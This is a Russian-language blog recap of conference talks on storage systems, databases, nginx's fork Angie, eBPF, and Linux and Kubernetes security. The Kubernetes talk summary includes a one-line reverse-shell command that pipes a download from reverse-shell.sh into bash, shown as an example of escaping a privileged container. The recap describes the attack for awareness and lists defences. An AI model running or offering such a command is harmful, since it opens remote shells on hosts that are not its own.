Дальше докладчик рассказывал про инструменты управления всем этим добром — сначала рассматривали SeveralNines, ScaleGrid, awide.io (по сути pgadmin+pgwatch), в итоге всё, как мы любим — сделали свой велосипед Скала-р Спектр. Что-то упомянул про какие-то нелинейные переходы между состояниями в системе управления, тут «што ты токое» я не особо понял, ну, видимо, и фиг с ним. Плюс упомянул, что ещё хотели сделать комплекс Скала-500 с NVMeoF, но что-то случилось 24 февраля и планы были нарушены. :-) и в конце вспомнил про opengauss, какой-то форк устаревшей постгри от китайцев. Фиг знает, зачем, типа, что, видимо, думали в его сторону тоже.

Мы смогли запустить Debezium

Александр Горякин (Tarantool) — Репликация между SQL- и NoSQL-базами данных: туда и обратно

Фуфло какое-то, по названию доклада мы с Максом было подумали, что сейчас нам тарантулы расскажут про какой-то новый офигенный инструмент репликации, который они сделали и который умеет и так, и эдак, и вообще лучше всего, что есть в природе.

Вместо этого… Oracle GoldenGate? IBM InfoSphere CDC? «Что-то дорого». Да ну? Но уже стало понятно, что рассказ не про «репликацию между базами данных», а конкретно про оракл. Прям CUSTIS-ом повеяло, там тоже с голденгейтом игрались…

Далее: ну, можно написать самим на pglogrepl+pgproto, «но типа это самопис, костыли и ведёт к зоопарку» — так стоп, а при чём тут постгря, если вы из оракла мигрировали :)

В итоге просто заюзали Debezium (на Java), сначала Embedded, потом Server. Посокрушались, что API Oracle LogMiner депрекейтнутое, а API Oracle XStream открывается по лицензии голденгейта, которая стоит вагон денег. На этом всё в общем и остановилось.

В начале ещё упомянули три «подхода к репликации»: ETL, отслеживание изменений на триггерах (change tracking) и расшифровка WAL-ов базы (change data capture), и что они выбрали последний. Ну да, Debezium это оно, ок.

GeeseFS — ФС из S3

Виталий Филиппов — GeeseFS: ФС из S3, или Параллелизм гусей в природе

Мой доклад про GeeseFS. Презентацию можно посмотреть тут: https://yourcmc.ru/geesefs-2022/highload.html - она на reveal.js, работает из браузера.

Вкратце — ещё один S3-FUSE, только быстрый: например, копирование моей тестовой папочки со статикой (~6500 файликов в 2 уровня каталогов) в S3 через s3fs занимает 53 минуты, а через GeeseFS 25… секунд. :-)

В докладе я также рассказывал про философскую сторону (зачем из ужа делать ежа) и о том, как вообще делать ФС и что вообще означает POSIX-совместимость.

Остальное смотрите в презентации и видео — ссылку на видеозапись своего доклада добавлю чуть позже, когда выложат. Пока выложили только на внутренней видеоплатформе, там себя пересмотрел — вещал вроде в целом нормально, правда, какой-то шибко спокойный был — пельменей, что ли, перед докладом бахнул :-).

Кстати, с ответом на вопрос про inotify не всё так просто, на самом деле эти FUSE_NOTIFY_STORE и прочие подобные операции, хоть и связаны с inotify, видимо, как-то не полностью его реализуют. Например, в документации fuse_lowlevel_notify_delete указано, что «If the provided child inode matches the inode that is currently associated with the cached dentry, and if there are any inotify watches registered for the dentry, then the watchers are informed that the dentry has been deleted». Также есть патч для ядра, реализующий inotify для FUSE, но он то ли ещё не влит, то ли уже не влит :-).

Тарантул для самых маленьких

Владимир Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool

Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение снимка данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.

Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).

В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, скучноватый.

А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.

Angie — форк nginx (ООО Веб Сервер)

Иван Полуянов, Валентин Бартенёв (Web Server LLC) — Дорогая, я форкнул nginx

Вкратце: 10 человек из команды оригинального nginx суммарно с 60 годами опыта работы :) вернулись в РФ, основали компанию ООО Веб Сервер, сделали форк и теперь убьют платный nginx, забрав к себе все его фичи и оказывая техподдержку 🤗. И это прекрасно, так и надо клятым копетализдам.

Форк называется Angie. Фичи:

  • Встроенное API статистики — в формате JSON, будет и в формате Prometheus, сейчас в оный её можно перевести через Lua
  • Динамическое проксирование (upstream-ы), будет в декабре
  • io_uring (хотя не особо что-то даст в сетевом приложении — прим.вред)
  • Синтаксический сахар в конфиге

Ну молодцы. Осталось им ещё динамическую конфигурацию запилить и всё, nginx plus можно совсем закапывать будет и туда ему и дорога :).

Стородж Яндекса может всё

Вадим Зотеев (Яндекс) — Балансировка нагрузки в мульти-эксабайтном сторадже

— Дети, в какой стране самые красивые игрушки? — В СССР! — А в какой стране самая нарядная одежда? — В СССР! — А в какой стране самые счастливые дети?… Вовочка, что ты плачешь? Вовочка: — Хочу в СССР…

Вот примерно такой получился у Вадима доклад про нашу внутрияндексовую систему объектного хранения :-). Уж всё-то у нас она умеет :-). И да, она реально мультиэксабайтная, и да, какой-нибудь Ceph на этих объёмах реально давно бы лопнул, как опытный цефер — подтверждаю.

ИМХО, вышло немного сумбурно, но ситуацию очень хорошо спас последний слайд и ещё очень живая дискуссия, состоявшаяся по итогам — вопросов было много.

Итог с последнего слайда:

  • Для балансировки нагрузки на запись нужен явный контроль над процессом записи и это не бесплатно — для этого клиентская библиотека или промежуточный слой (прокси) должны учитывать различные факторы, такие, как нагрузка на диск, сеть, состояние «шардов» и так далее. У нас балансировка записи сделана через веса, вес — это просто перемножение нескольких коэффициентов (нагрузки на диск, сеть и т.п).
  • Для балансировки нагрузки на чтение нужно стараться равномерно распределять по дискам шарды, создающие разную нагрузку — например, шарды разных пользователей (сервисов; для нас пользователи — это другие сервисы), или шарды разного возраста (к старым обращений меньше), то есть, стараться селить вместе «горячие» и «холодные» шарды — и это тоже не бесплатно, так как для выравнивания нагрузки данные нужно перемещать.
  • Для балансировки свободного места при добавлении железа тоже нужно перемещать часть данных на новые диски/серверы. Иначе на новых дисках сначала (пока они пустые) будет перекос по записи, а потом (когда туда быстро нальётся много свежих данных) — перекос по чтению.
  • С помощью предсказания нагрузки можно улучшать балансировку и даже экономить место, переводя «холодные» шарды в более медленную схему хранения с кодами коррекции ошибок (EC или LRC).

От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).

P.S: Вопрос Вадиму: А у вас есть автоматика, которая определяет, отвалившая реплика ушла совсем или ещё вернётся? Коллега мне на ухо: Есть, её зовут Женя…

Жизнь перф инженера в Pg Pro

Михаил Жилин (Postgres Pro) — Аномальные случаи высокой нагрузки в PostgreSQL, и как мы с ними справились

Заинтересовался, посмотрел постфактум. Просто рассказ про несколько случаев тормозов постгри, которые он ловил. Практической пользы для пользователя postgresql почти нет, польза разве что в том, что если видишь тормоза — можно обновиться, можно попробовать заюзать обычный linux-овый perf (perf record и т.п) и иногда даже что-то с ним найти. Иногда может помочь уменьшение объёма DDL. Остальное — чисто разработческая жизнь, про то, как они (или не они) что-то нашли и оптимизировали. Но почему бы и нет — в принципе, доклад прослушал с интересом.

Случаи из рассказа:

  • GetSnapshotData в perf — MVCC-снимки (решение — обновиться до pg 14+, возможно сделать repeatable read)
  • Тормоза подтранзакций (покрутить slru_buffers_size_scale)
  • Кэш каталога (не юзать DDL, проверять инвалидации по pgpro_stats)
  • Тормоза от auditd, пойманные через perf
  • Какой-то нюанс отображения pg_stat_activity, который уже почти запатчили
  • Оптимизация visibility bitmap-ов в index-only сканах, которую тоже уже почти запатчили

Хранилище почты mail.ru

Виктор Могилин (mail.ru) — Хранилище для Почты

Доклад сделал мой день, самый интересный доклад первого дня. Ну, для меня. Очень уж хранилки всякие люблю.

Итак. Сначала почта у них хранилась, видимо, в Maildir-ах, ну или в своём аналоге, то есть ящик — это была папочка на диске, в которой отдельными файлами хранились все письма, плюс индексы. В среднем примерно 3 ТБ вложений на 1 ТБ писем. Горизонтально это масштабировалось норм, а вертикально не норм — предел — 4 ТБ HDD, больше юзать не получалось, так как iops-ы HDD с объёмом не растут (100—200 iops). ФС — очевидный оверхед: директории, иноды…

Так и масштабировались на 4 ТБ дисках, в итоге домасштабировались до 3000 серверов и стало дорого и неудобно. Захотелось снизить это число раз в 10. Для начала дизагрегировали из писем вложения, по этому поводу был отдельный доклад: Как смигрировать 50Пб в 32 без даунтайма? / Альберт Галимов, Андрей Сумин (Mail.ru) с хайлоада 2016.

Соотношения объёмов данных и нагрузки: мета — 2 ПБ и 3 млн rps, тексты писем — 15 ПБ и 80 тысяч rps, вложения — 50 35 ПБ и 8 тысяч rps. В итоге в этом докладе речь идёт только о хранилище текстов.

Хранилище назвали Zepto.

Вышло в общем-то очередное Haystack/SeaweedFS-подобное хранилище. В Яндексе MDS, про который шла речь в докладе Вадима выше, тоже похожий (упоминания также есть в статьях на хабре).

Похожести:

  • Append-only volume-ы с переупаковкой. То есть, объекты хранятся в дописываемых всегда в конец больших файлах-томах вперемешку с заголовками, при удалении из тома сразу не удаляются, а только помечаются удалёнными — а потом, когда количество удалённого превышает определённый %, приходит отдельный процесс (называемый по вкусу compaction/defrag/gc/repack) и перезаписывает том целиком, на этот раз действительно удаляя удалённые объекты. Волюмы fallocate-ятся, чтобы исключить фрагментацию места в ФС.
  • Есть «шарды», являющие собой группы из N (2, 3 или ещё скольки-то) таких томов на разных машинах, связанных репликацией вместе. То есть, запись идёт в пары или тройки томов. В терминологии Ceph шард — по сути, PG (placement group). В терминологии zepto — «бакет» (и сам волюм тоже, видимо, называется «бакет»).
  • Клиент хранит ID шарда (бакета) у себя и для чтения объекта обращается к конкретному шарду. Центральный сервер метаданных, знающий, где лежат все объекты, отсутствует.
  • Запись через page cache. fsync-ов после каждой записи и строгой консистентности формально нет. fsync просто раз в секунду выполняется в отдельном потоке, чтобы стимулировать сброс данных на диск. Но так как бешеные уборщицы не ходят по залу и не дёргают в произвольном порядке целые датацентры из розеток — данные не теряются.
  • Есть «прокси», предоставляющие API доступа к хранилищу. У них они называются zeptoproxy и ставятся прямо на клиентские машины.
  • Есть отдельный слой управления кластером и он же отвечает за балансировку записи. У mail.ru он называется statusservice.
  • EC (коды коррекции ошибок) через конвертацию волюма целиком после закрытия его на запись. Хотя в zepto в весьма примитивном варианте.

Отличия:

  • Волюмы/бакеты.
    • В zepto нет индексов (почти!). Объект идентифицируется прямо смещением внутри тома.
    • А как же удаления, спросите вы, если смещение — это ID? А удаления реализуются через индекс удалений («индекс дырок»), добавляемый при сборке мусора. Видимо, вида «старое смещение → новое смещение» на каждую дырку. Ну такое… :) в худшем случае (если удалён каждый второй объект) дырок будет столько же, сколько объектов, но в среднем — типа, лучше.
    • В zepto объекты пишутся страничками по 4 КБ, у каждой странички есть контрольная сумма crc32.
    • Размер одного бакета — 2 ГБ. Логично, ибо под смещение выделено 32 бита. Плюс ещё 32 бита — ID бакета. Соответственно, общий лимит места в zepto-кластере — 16 ЭБ; под почту, которой всего 15 ПБ, этого хватает с головой :)
    • Бакеты складываются в 2 ТБ разделы дисков и один раздел (~1000 бакетов) обслуживается 1 процессом «bucketservice». В ноде 72 диска по 18 ТБ, но под Zepto на них обычно выделено только 4-6 ТБ, так что на одной машине живёт примерно 216 bucketservice-ов.
    • Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.
    • После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.
  • Распределение объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать.
    • При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.
    • При отвале клиента — это мои фантазии, в докладе не было, но по-другому вроде никак — должен следовать отвал блокировки по таймауту, перевод бакета в readonly и его последующая синхронизация, что полностью эквивалентно Hadoop с его Lease Recovery.
  • Репликация — клиентская, запись — кворумная.
    • То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.
    • Консистентность удалений — если какой-то bucketservice лежит в момент удаления — другие сохраняют к себе запись типа «foreign delete», то есть «данный объект был удалён в другом месте» и после его поднятия досылают ему записи удалений.
    • При потере одного бакет переходит в readonly до починки.
    • Восстановление — тупое, ручное (zeptoctl fix) и только полным копированием тома на отсутствующие/повреждённые реплики. Причём вообще, вроде, в разрезе разделов, а не отдельных волюмов.
  • Слой управления (statusservice)
    • Держит индекс бакетов в памяти, обновляет его дельтами. 2 основных метода API: дай бакет для записи, дай адрес по бакету.
    • Пошардирован по дц. Знает про все бакеты, но мастер для своих бакетов и слейв для чужих, свои определяются по остатку от деления на 3 (датацентра 3).
  • EC
    • В супер-простейшем формате — побитовый XOR. То есть реализована только 1 схема, x1.5, то есть EC 2+1.
    • Вообще открою страшную тайну: в любом EC первый чанк — как правило, XOR — к такому виду можно привести любую матрицу EC и это делается в том же jerasure для упрощения вычислений. Так что в XOR ничего зазорного нет. Но в докладе было упомянуто, что XOR побитовый, и вот тут я уже не уверен — если это значит, что коды генерятся не как (первый байт XOR второй байт), а как (первый бит первого байта XOR второй бит первого байта), то это слегка изврат.
    • В XOR данные перекладываются только после заполнения. Запускается «полторирование» и перекодирует бакет из x2 или x3 в x1.5.
    • Казалось бы, тут должны быть сосиски, то есть EC-кодирование всего волюма-колбасы а-ля seaweedfs, но этого нет. Кодируется каждый объект отдельно. А чего тогда, писали бы сразу в EC…
  • Жёсткая схема распределения места
    • Как я понял, это значит, что при добавлении серверы/разделы сразу разбиваются на группы так, чтобы полностью покрыть ими всю ёмкость, и потом бакеты собираются только уже в конкретных заданных сочетаниях. И, видимо, как-то переоптимизируются при добавлении/удалении дисков. Я в Vitastor со своим lpsolve-ом тоже начинал с подобной идеи…
  • Есть сжатие (zstd), которое позволяет 15 ПБ, превращённые с 2x репликацией в 30 ПБ, превратить обратно в 15 ПБ :).

Итог: ужали хранилище с 3000 серверов до 1500. Используют ещё в облаке (которое mail.ru диск, видимо) — 80 ПБ данных в x1.5 и в сниппетах для поиска по почте — 2.4 ПБ в x2. Средний размер объекта в почте 40 КБ при времени доступа 10 мс (90% — 30 мс), средний размер объекта в облаке > 1 МБ при времени доступа 500 мс (90% — 2 сек), в общем, плюс-минус как у голого HDD.

Что ещё хотят поулучшать: добавить автоматики (её нет в том числе из-за боязни админов — мало ли автоматика сойдёт с ума), что-то придумать с лишними iops-ами при удалении, попробовать сделать гибридную схему хранения (x3 → x2 → x1.5).

В общем, ждём ебилдов (c).

SPQR для постгри

Денис Волков, Кирилл Решке (Yandex Cloud) — SPQR: горизонтальное масштабирование PostgreSQL

Пытался смотреть доклад в режиме вытесняющей многозадачности параллельно со сцыллой.

В общем, речь шла об https://github.com/pg-sharding/spqr — Stateless Postgres Query Router.

Идея — прозрачное шардирование постгреса для бедных. Ставим проксю, которая парсит запросы. Те, что имеют локальность, перенаправляет на определённый шард. Те, что не имеют локальности, но простые и их можно легко смержить из общего результата — собирает со всех шардов. А те, с которыми вообще не понятно, что делать — перенаправляет в выделенный шард «world».

Ну и вроде как сделали и оно вроде как работает. И даже какую-то перебалансировку шардов вроде бы умеет. «Разработка Шредингера», как они сами сказали — то ли в проде, то ли не в проде. В докладе даже была ссылка на демонстрацию, но это на самом деле не так интересно, интереснее то, насколько это применимо для реальных приложений, так как в реальных приложениях запросы всё-таки не ограничиваются select from table where id=… Про это речи не было — тут слушатели вольны потестить сами :-).

Как сцилла стояла раком

Илья Орлов (STM Labs) — Укрощение мифического чудовища: реальный опыт промышленного использования ScyllaDB без прикрас

Они решили попробовать сциллу. Решили потому, что им нужно было что-то быстрое, чтобы архивировать старые товары (30 млн записей в сутки). В мегабайтах в секунду не так уж и много, запись в среднем 10 КБ, так что это всего 3.4 МБ/с. У сциллы же были заявлены 12500 rps на ядро (400 МБ/с на 32-ядерном сервере), либо 240 МБ/с на HDD, ну и вообще, мол, shared nothing и вся такая быстрая (туда же, кстати, главный тарантул уполз — Костя Осипов)…

Архивацию сделали в 2 этапа — сначала перекладка, потом валидация — проверка наличия записи в архиве и только потом пометка записей в исходной mongodb как подтверждённых и удаление.

Провели тестирование через cassandra-stress-test, получили 45 МБ/с и 4634 записи в секунду (400 млн записей в сутки), решили, что всё отлично. В прод! :)

Вместо этого всё встало раком. Сначала получили с учётом валидации 231 запись в секунду (20 млн в сутки). Потом вообще — 35 записей в секунду (3 млн в сутки) и отвал 50% операций записи по таймауту. А компакшен стал выжирать 100% CPU… ТУПИК (картинка: пушной полярный песец).

Попробовали переехать на SSD — ни фига. Попробовали отключить автоматический компакшен — стало ещё хуже, ручной вообще не мог завершиться, включили обратно. Отказались от индексов — тоже не помогло.

А помогло переключение сжатия с zstd на lz4. Сразу ушли таймауты. Потом вообще убрали валидацию и потом ещё поускоряли монгу. В итоге получили-таки скорость архивации 34 МБ/с или 300 млн записей в сутки.

Причём оказалось, что если операция записи таймаутнулась — это не значит, что данные не записались, и повторять попытку зачастую не надо, иначе наоборот плодятся лишние данные. Ещё оказалось, что есть какой-то autobootstrap, который может убить весь кластер и он по умолчанию вроде как false, но при переезде со старой версии — true. И у них была какая-то опасность по этому поводу.

Итог: Сыровато. Документация не в 100% верна. Пригодна только как большая хеш-таблица, индексы — г*но. zstd — если включать, то только до первых таймаутов. Компакшен неуправляемый. Из доступных в опенсорсе нормальная стратегия — STCS (Size-tiered compaction strategy), а лучшая — инкрементальная, но она есть только в платной версии. В редких случаях даже добавление ноды может «помочь» потерять данные.

Но новое пробовать можно и нужно, иначе откуда возьмётся прогресс? :)

ZFS в ZFS → WA и тормоза

Андрей Копейко (VK) — Как «добиться» времени записи 200 мс на NVMe-дисках

Не смотрел, но упомяну, ибо смотрел коллега. Чуда, увы, не произошло, ничего гениального типа внутренних алгоритмов работы SSD в докладе не было. Вместо этого классическое: ZFS со сжатием, в нём Proxmox, в виртуалке опять ZFS со сжатием, в ней TimescaleDB опять со сжатием, а в неё заливаем 28 ТБ данных.

Вуаля, вот ваши тормозные чтения с NVMe. И заодно удроченный на 50 % паспортного TBW за 10 месяцев диск.

Ну а что вы хотели. WA оно такое. Надо было ещё Ceph поставить, смогли бы и секунды добиться… :)

День 2

Утренние доклады пропустил. Спал. Звиняйте, дядьку.

Graphviz от безопасника ядра

Александр Попов (Positive Technologies) — Безопасность ядра Linux: в теории и на практике

Сказ о том, как крутой безопасник открыл для себя Graphviz и использует его как Wiki :-D.

Рассказывал о двух вещах: linux-kernel-defence-map и kconfig-hardened-check.

Первое — «вики» в формате Graphviz, где он собирает обзорную информацию о методах самозащиты ядра Linux от дыр. Интересно и если вы не разбираетесь в безопасности ядра, и если разбираетесь, так как он, когда сам делает доработки, тоже на это же ориентируется.

Второе — скрипт для проверки опций безопасности, проверяет настройки сборки, конфигурацию ядра, опции командной строки ядра. Там же в Readme есть ссылки на рекомендации по настройкам ужесточения безопасности ядра. Которые, конечно, не обязательно включать все, так как они не бесплатны.

В общем, вот это в основном и было содержательной частью, на самих дырах он сильно не останавливался, только чуть-чуть на базовых вещах.

А, да, из юмора: прозвучал вопрос: а как у вас с поддержкой процессора Эльбрус? — Он ответил: ну, типа, она, по-моему, ещё не включена в мейнлайн… — и тут ведущий добавил: ну да, сейчас, похоже, скорее поддержка Арарата хорошо идёт.

Примитивные хаки k8s

Лев Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты

Нормальный доклад, но «разбор пейлоадов» — это ну очень громко сказано. Начал аж с того, что контейнер — это не ВМ 🤡. А потом всё как-то свёл к тому, что уязвимый контейнер — это или privileged, или с какими-нибудь --cap-add (плюс-минус то же самое), или на худой конец hostNetwork/hostIPC/hostPID true. В итоге можно либо смонтировать хостовую ФС, либо позапускать контейнеры через сокет докер-демона, либо выполнить reverse shell. Ну, например, если есть CAP_SYS_MODULE — то вставить модуль ядра, запускающий curl https://reverse-shell.sh/IP:PORT | bash. Мда, exploit as a service, который мы заслужили…

Далее сказал, что K8s RBAC 🤡 не защищает от эксплойтов privileged докера 🤡. Для защиты есть Admission Controller, Pod Security Policy, Pod Security Standards (с 1.23), SecurityContext и Network Policy. Также в тему ResourceQuotas & LimitRange.

Искать дыры посоветовал PEASS-ng или linPEAS, или CDK. Для аудита — CIS Kubernetes Benchmark. Всё.

DBA ловит тормоза диска через eBPF

Пётр Бобров (QIWI) — Мониторинг черных ящиков и котов в мешке через eBPF

Oracle DBA открыл для себя eBPF, точнее, bcc, на самом eBPF покодить ему так и не довелось. Да и ничего особо важного — никакого, например, бага в ядре… или в оракле… или в дисках… — через eBPF он не нашёл, просто написал экспортилку данных из bcc в Telegraf и нарисовал дашбордик. Ну дашбордик и дашбордик. https://github.com/unPeter/bcc2telegraf — вот это поделие.

«Если вендор не идёт навстречу, УК конечно нарушать не предлагаю, но уверен, что на рынке есть люди, позитивно настроенные на анализ» (c).

Пересказывать, что такое eBPF, я особо не буду. Вкратце — через него можно вставлять кусочки своего кода в ядро в целях отладки/мониторинга/ещё каких-то. Например, можно влезть в любую функцию и напечатать её параметры. Правда, нельзя напечатать локальные переменные, по крайней мере, я сходу не осилил и нашёл свой баг другим путём.

В остальном — думаю, сами прочитаете, если интересно. ИМХО ничего, что нельзя нагуглить, докладчик не рассказал :).

Матрасы в тарантуле

Александр Ляпунов (Tarantool) — Как работает MVCC в In-Memory-СУБД

Рассказ про MATRAS.

Начал с аналогий — мол, человек разумный, а комп нет, если жена отправит вас в магазин и скажет «купи пакет молока, если будут яйца, купи десяток», то все нестандартные ситуации, там, −1 пакет молока на полке… вы, вероятно, обработаете сами. /Ну не знаю — если 2 программиста потянутся за 1 пакетом молока… хз, могут и зависнуть, жёнам придётся идти спасать от дедлока, возможно, кого-то придётся пристрелить…/ — прим.вред. Ну а MVCC нужен, чтобы не пускать всех в магазин по одному. Вместо этого создаём каждому покупателю свой снимок магазина, а кассир потом разрешает конфликты /и упираемся в кассира/ — прим.вред.

В общем, в тарантуле MVCC реализован через матрас — Memory Address TRanslating Allocator(S) и через ещё один специальный аллокатор для read view. И ещё через сохранение истории изменений, то есть каждая строка содержит флаг «есть история или нет», если нет — просто читаем, если есть — проходим по истории. Уровень изоляции — serializable, но не snapshot, снапшот создаётся отложенно.

Подробнее можно почитать тут: https://habr.com/ru/company/vk/blog/525484/, https://habr.com/ru/company/vk/blog/540842/

Экодиктант за 2 месяца

Станислав Жуковский, Василий Шалимов (Старботс РФ) — Экодиктант 2021: highload-проект с нуля за 2 месяца

А вот этот доклад сделал мой второй день конференции. И хоть докладчик и говорил «вёб» (через ё) и «рпц» вместо rps (ЭР ПЭ ЭС), очень приятно было послушать, что где-то ещё есть люди, которые могут сесть и БЫСТРО и ПРОСТО, без 200 микросервисов, что-то запилить. А то в последние годы уже как-то начал привыкать к тому, что разработка ПО в компаниях обычно как идеальный газ — занимает все ресурсы, которые на неё выделишь, и в итоге сидит человек 100 и все чем-то заняты, а баги исправляются по полгода. А фичи разрабатываются по 2 года.

К ним пришёл заказчик и сказал — мы тут писали ТЗ 8 месяцев, а вы нам это закодьте за 2. Причём заказчик был очень начитанный, ТЗ было очень подробное, там была прорисована архитектура, 100 микросервисов и всё такое прочее. Но, к счастью, заказчику ответили — да, это всё замечательно, но не за 2 месяца. /Микросервисы — г@вно!!! Парни, вы молодцы, что на это не пошли! Тупой монолит в 99.9% случаев гораздо лучше!/ — прим.вред.

В итоге просто писали на Django, причём даже с jQuery. /ну да, тоже уже устаревшее г@но, но если умеешь — пиши на том, на чём умеешь/ — прим.вред. И только самая нагруженная часть с самим «диктантом» была на React.

Кратко таймлайн разработки, который почему-то начинается с 11 недель — не совсем 2 месяцев до диктанта, ну да не суть:

  • −11 неделя: макеты по дизайну
  • −10 неделя: выбрали сервер (uWSGI), балансер (HAProxy), сверстали шаблоны django, и сразу выставили в веб (для теста, видимо)
  • −8 недель: развёртывание в яойблаке и бенчмаркинг я-танком, анализ 500-ых ошибок
  • −7 недель: припилили React, аутентификацию через JWT, пробенчили эти самые JWT (выпуск/обновление токенов)
  • −6 недель: переносили старые учетки из php laravel приложения, пришлось припиливать устаревший 128-битный bcrypt к django
  • −5 недель: отказались от сервисов рассылок mailchimp, aws — дорого и вообще не дали бы объёмы — в частности, aws сказал «15000$ в год + 3 месяца рассылайте 10%, потом, может, разрешим полный объём». Подняли свой почтовик — postfix с DKIM и всем прочим. Сразу сделали 2 домена и были очень рады, что 2, так как один то и дело улетал в блокировку (всякие DNSBL), они вступали в диалог с админами блоклистов, а тем временем юзали второй домен. В итоге рассылали 70 писем в секунду и потеряли < 1%. Но, сказали, лучше бы было 5 доменов. Метрики доставки отслеживали в Zabbix.
  • −4 недели: настраивали защиту от DDoS и CDN в облаке мегафона. Мегафон помогал. Хватило 1 уровня защиты.
  • −3 недели: выкладка контента вовсю. Словили прикол — приходил один и тот же юзер, жаловался «у меня не хватает лимита, не загружаются картинки» — в итоге лимит сняли… и ему хватило. Он загрузил логотип размером 1 ГБ.
  • −2 недели: финальная упаковка контейнеров в кубер, настройка автоскейлера.
    Тут Шалимов Василий (автор «вёба») опять выдал небольшой перл — мол, «реакт ничего не ел [в кубере], а вот джанга!..» — логично, чо. Реакт в браузере у юзера выполняется. Там и ест.
  • −1 неделя. Юзеры пришли регаться. 1 млн регистраций в час.

После чего всё, ДИКТАНТ. Рады, что не поймали того, что обычно ловят в панамку! Говорит, у меня жена и 2 детей и на всякие онлайн дневники они часто ругались, а тут нормально все прошло — но пока делал, я им не говорил, что делаю. На всякий случай. :-)

Было только 2 падения — в первом всё повисло из-за LIKE-запроса, во втором — упала варя (vmware) и, соответственно, кубер у мегафон-клауда. Полежали где-то час.

Ну и потом неделя еще на обработку, а еще были оффлайн роли, отчёты, анкеты, какие-то подарки…

Ответы на вопросы:

  • Почему не django fast api? — Не было времени.
  • Помогла ли django админка? — Да, но дефолтная туповата, на 3 миллиона юзеров, например, не рассчитана, повисает.
  • Мешал ли django orm? — Нет, ибо сложных запросов не было. Хватило. Но держали в уме, что может быть узким местом и присматривали.
  • Повторили бы опыт? — Нервный ржач…
  • Какие блэклисты почты? — Сходу не помнит, стандартные, было 13 названий. Это была отдельная задача для контент-менеджера.
  • Сколько был rps? — Не помнит, но нагрузочное тестирование делали почти на 1 млн. Регистраций был 1 млн в час.
  • Какого размера была команда? — Их было 7, а техподдержки мегафон-клауда, которые ими занимались — 21. Мегафон не знал, что их 7, когда узнал, был в шоке.

Резюме: Используйте подходы MVP, делайте запас по железу. Кто-то (вроде меня) скажет — ну да, конечно, а как ещё? — НО! Порадовало именно то, что об этом рассказали! Так ведь сейчас не модно! Модно намудрить 10 слоёв, 100 микросервисов, обмазаться фреймворками, облачными сервисами, серверлессом… Так что — свернуть доклад в трубочку и разослать всем, кто делает «долго, дорого и сложно». Пусть учатся.

DNS-aaS через SDN

Георгий Меликов (VK Cloud) — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS

Докладчик — наш друг из чатиков @sds_ru, @ceph_ru и @ru_zfs, участник разработки ZFS.

Вкратце итог: мультитенантный облачный DNS-as-a-Service через DNS-прокси, добавляющую суффикс в запрос, работающую через SDN.

В общем, стояла задача — сделать изолированный облачный DNS-as-a-Service в облаке — то есть, чтобы один клиент не мог случайно увидеть DNS-ответы другого клиента — И ПРИ ЭТОМ не поднимать отдельные DNS-серверы на каждого, а обойтись одним, ибо это банально дешевле и заодно позволяет предоставлять нормальный rps тем, кто много обращается к этому DNS.

Рассмотрели варианты:

  • OpenStack Designate — нет мультитенантности
  • bind views — оказался мультиплексором к N экземплярам bind и вообще он «экспериментальный» с багами
  • PowerDNS — нет мультитенантности и не хотят, говорят, если вам надо — поднимайте N экземпляров. Есть Lua, но на ней сделать требуемое не вышло, зато стали контрибьюторами в документацию — это было самое быстрое одобрение PR в жизни: примерно 10 секунд :-)
  • dnsmasq — маленький и опять нет мультитенантности
  • CoreDNS — и тоже нет тенантов
  • pdnsd — и тоже нет

В итоге родили МОЩЩЩНЫЙ (c) костыль. Решили добавлять в запросы суффиксы, например, domain -> domain.tenant1, и потом, соответственно, откусывать их в ответах. Для этого можно было написать свой DNS-сервер, но решили, что полноценный честный RFC-совместимый DNS-сервер писать довольно сложно, если допиливать готовый — доработки не примут, а поддерживать форк не хочется… и написали проксю, которая переписывает запросы (A, PTR) и перенаправляет их реальному серверу.

А чтобы перехватывать и перенаправлять запросы, у них уже был под рукой SDN. То ли раньше был OpenStack Neutron, то ли и до сих пор ещё остался, но по факту сделали на SDN собственного разлива, который называется Sprut и поддерживает Network Functions. На этом и сделали проксю. 2 человеко-квартала и готово. Прототип на Python по RPS на 1 поток получился медленнее CoreDNS всего в 2 раза, то есть, даже питона оказалось достаточно для нужной производительности.

Ну ок :-). «Сетевики пишут DNS».